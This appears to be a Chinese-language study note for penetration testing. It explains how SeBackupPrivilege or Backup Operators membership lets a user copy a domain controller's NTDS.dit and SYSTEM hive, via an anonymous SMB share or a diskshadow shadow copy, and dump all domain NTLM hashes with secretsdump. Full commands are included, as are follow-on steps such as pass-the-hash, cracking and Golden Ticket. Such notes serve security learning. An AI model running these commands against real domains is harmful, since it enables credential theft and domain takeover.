NTDS.dit 卷影副本提权笔记
攻击目的:
从域控获取 NTDS.dit(域用户凭据数据库)+ SYSTEM(包含加密密钥) ➡ 提取域用户 NTLM 哈希 ➡ 离线破解 or 横向移动 or Pass-the-Hash
攻击步骤
- 获取文件副本,`NTDS.dit`即存储 Active Directory 用户凭据的数据库。
- 接下来,我们将获取 SYSTEM hive 文件,其中包含解密 NTDS.dit 所必需的系统启动密钥
- 使用 Impacket 的 secretsdump 脚本从 NTDS.dit 中提取域中所有用户的 NTLM 哈希
一、什么是 SeBackupPrivilege 权限?
允许用户绕过文件或目录的权限(ACL)来读取文件内容,用于“备份”目的。
简单理解:
1、正常用户不能访问 C:\Windows\NTDS\ntds.dit ——系统会拒绝访问。
2、但拥有 SeBackupPrivilege 的用户,可以绕过这个限制读取文件内容(只要你用的是“备份方式”的工具,如 reg save, robocopy, ntdsutil, diskshadow)。
3、⚠️ SeBackupPrivilege 本身不会默认启用,要配合特定命令才能发挥作用。
二、什么是 Backup Operators 组?
Windows 本地组之一
权限说明:
1、成员默认拥有 SeBackupPrivilege 和 SeRestorePrivilege。
2、不需要是管理员,就可以使用:reg saventdsutildiskshadowrobocopy(使用 Backup 模式)
关系图:你可以这样理解
Backup Operators Group⬇(默认拥有)SeBackupPrivilege 权限⬇可读取系统保护文件(如 SYSTEM, NTDS.dit)⬇配合卷影副本技术⬇获取域控哈希⬇离线破解 or 横向移动 or 票据伪造
怎么判断当前用户是否具备这些条件?
判断权限:
whoami /priv
SeBackupPrivilege Enabled Back up files and directories
判断用户组:
whoami /groups
Backup Operators ......
三、适用场景:
条件 | 是否必须 | 说明 |
---|---|---|
当前机器是 域控(DC) | ✅ 必须 | NTDS.dit 只存在于域控 |
当前用户有 SeBackupPrivilege | ✅ 几乎必需 | 可绕过权限读取系统文件 |
属于 Backup Operators 组 | ✅ 推荐 | 自动拥有 SeBackupPrivilege |
可用 卷影副本 VSS | ✅ 必须 | 复制 SYSTEM 和 ntds.dit |
能访问SMB共享路径(匿名或已登录) | ✅(共享打法) | SMB匿名共享备份目录可直接下载 |
四、SMB 匿名共享打法
1、如果发现匿名 SMB 共享开放(如 \dc01\backup),且其中包含:
ntds.dit
system.hive
2、直接下载使用:
smbclient \\\\<ip>\\backup -N
# -N 表示匿名连接
get ntds.dit
get system.hive
3、然后使用 secretsdump 提取:
python ./secretsdump.py -ntds ntds.dit -system system.hive local
五、卷影副本打法(非 SMB 共享)
1、下载这两个文件,并上传
https://github.com/giuliano108/SeBackupPrivilege/tree/master/SeBackupPrivilegeCmdLets/bin/Debug# SeBackupPrivilegeCmdLets.dll
# SeBackupPrivilegeUtils.dll
2、导入模块
Import-Module ./SeBackupPrivilegeUtils.dll
Import-Module ./SeBackupPrivilegeCmdLets.dll
3、创建卷影副本
vim vss.dshset context persistent nowriters
add volume c: alias new1
create
expose %new1% z:
4、执行格式转行并上传到可写路径里(没有可以自己创建)
unix2dos vss.dsh
upload vss.dsh
5、执行目标文件
diskshadow /s vss.dsh
6、获取 ntds.dit 和 SYSTEM hive
将 SYSTEM hive 和 ntds.dit 导出,保存在主机上
Copy-FileSeBackupPrivilege z:\windows\ntds\ntds.dit .\ntds.dit # 将z盘的ntds.dit保存在当前ntds.dit
reg save HKLM\SYSTEM C:\Users\svc_backup\Documents\tmp\system.hive # 将C盘的system.hive保存在当前目录
下载后离线破解
7、secretsdump 提取哈希
python ./secretsdump.py -ntds ntds.dit -system system.hive local
六、取成功后可用操作
操作 | 工具 | 说明 |
---|---|---|
离线破解密码 | hashcat 或 john | 尝试爆破弱口令 |
横向移动 | psexec.py , wmiexec.py | 利用管理员账号的哈希 |
域控完全控制 | 域管账号 | 可进一步滥用 AD 权限(如 Golden Ticket) |